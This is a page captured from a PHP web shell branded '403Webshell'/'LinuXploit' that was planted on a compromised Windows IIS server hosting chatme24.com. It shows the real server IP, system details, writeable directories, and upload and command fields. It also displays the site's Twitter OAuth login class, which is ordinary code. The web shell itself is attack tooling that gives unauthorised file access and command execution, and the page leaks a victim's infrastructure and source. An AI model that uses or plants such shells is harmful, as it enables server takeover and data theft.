403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current//twitter.class.php
<?php
class Twitter
{
    private static $instance;
    private static $nameSocial='twitter';

    private function getUrlAuth()
    {
      return 'social_login.php?module='.self::$nameSocial;
    }

    private function getUrlToken()
    {
        return  '';
    }

    public function getParamsAuth()
    {
        $client_id = Common::getOption(self::$nameSocial.'_appid');
        $client_secret = Common::getOption(self::$nameSocial.'_secret');
        $params = array(
            'client_id'     => $client_id,
            'client_secret' => $client_secret,
        );
        return $params;
    }

    public static function getInstance()
    {
        global $g;
        if (isset($g['options'][self::$nameSocial.'_appid'])
            && isset($g['options'][self::$nameSocial.'_secret'])
            && $g['options'][self::$nameSocial.'_appid'] != ''
            && $g['options'][self::$nameSocial.'_secret'] != ''
        ) {
            if(self::$instance === null){
                // Create our Application instance (replace this with your appId and secret)
                self::$instance = new self(array(
                    'appId' => $g['options'][self::$nameSocial.'_appid'],
                    'secret' => $g['options'][self::$nameSocial.'_secret'],
                    'cookie' => true,
                ));
            }
            return  self::$instance;
        } else {
            return false;
        }
    }

    public function parse()
    {
    }

    public function getUserId()
    {
        $userInfo = get_session(self::$nameSocial.'_user_info');
        if(isset($userInfo['id'])){
            return $userInfo['id'];
        } else {
            return false;
        }
    }

    public function loginRedirectUrl()
    {
        $url = '';
        $url = $this->getUrlAuth();
        return $url;
    }

    public function setJoinInfo()
    {
        global $g;
        $me = get_session(self::$nameSocial.'_user_info');
        set_session(self::$nameSocial.'_id', 0);
        set_session(self::$nameSocial.'_photo', false);
        set_session('social_id', 0);
        set_session('social_photo', false);

        if ($me) {
            if (isset($me['email'])) {
                //if (get_param('email') == '') {
                    $_GET['email'] = $me['email'];
                    $_GET['verify_email'] = $me['email'];
                //}
            }

            if (isset($me['name'])) {
                if (get_param('join_handle') == '') {
                    $_GET['join_handle'] = $me['name'];
                }
            }

            set_session(self::$nameSocial.'_id', $me['id']);
            set_session('social_id', $me['id']);
            set_session('social_type', self::$nameSocial);

            if(isset($me['picture'])) {
                set_session('social_photo', $me['picture']);
            }

            if(isset($me['gender'])) {
                $gender = $me['gender'];
                if($gender == 'male') {
                    $gender = 'M';
                }

                if($gender == 'female') {
                    $gender = 'F';
                }

                $sql = 'SELECT id FROM const_orientation
                    WHERE gender = ' . to_sql($gender, 'Text') . '
                    ORDER BY id ASC LIMIT 1';
                $orientation = DB::result($sql);
                if($orientation) {
                    $_GET['orientation'] = $orientation;
                }
            }
        }
    }

    static function getLikeButtonScript()
    {
        return '';
    }

    static function getLikeButtonHtml()
    {
        return '';
    }

    public function oAuthApi()
    {
        $nameSocial=self::$nameSocial;
        $params=$this->getParamsAuth();

        require(dirname(__FILE__).'/../../_include/current/oauth/http.php');
        require(dirname(__FILE__).'/../../_include/current/oauth/oauth_client.php');

        $currentUrl = Social::getCallbackUrl($nameSocial);

        $client = new oauth_client_class;
        $client->server = 'Twitter';
        $client->debug = false;
        $client->debug_http = true;

        $client->redirect_uri = $currentUrl;
        $client->offline = true;
        $client->client_id = $params['client_id'];
        $application_line = __LINE__;
        $client->client_secret = $params['client_secret'];

        if(($success = $client->Initialize()))
        {
            if(($success = $client->Process()))
            {
                $success = $client->CallAPI(
                    'https://api.twitter.com/1.1/account/verify_credentials.json',
                    'GET', array('include_email' => 'true'), array('FailOnAccessError'=>true), $user);
            }
            $success = $client->Finalize($success);


        }

        if($client->exit){
        exit;
        }

        if($success)
        {
            $userInfo = (array)$user;
            $userInfo['status']=array();
            $userInfo['entities']=array();
            set_session($nameSocial.'_user_info', $userInfo);
            redirect('join_facebook.php?cmd=tw_login');         /*******************/
        } else {
            $message = HtmlSpecialChars($client->error);
            Social::logError($message);
            redirect('join.php');
        }




    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit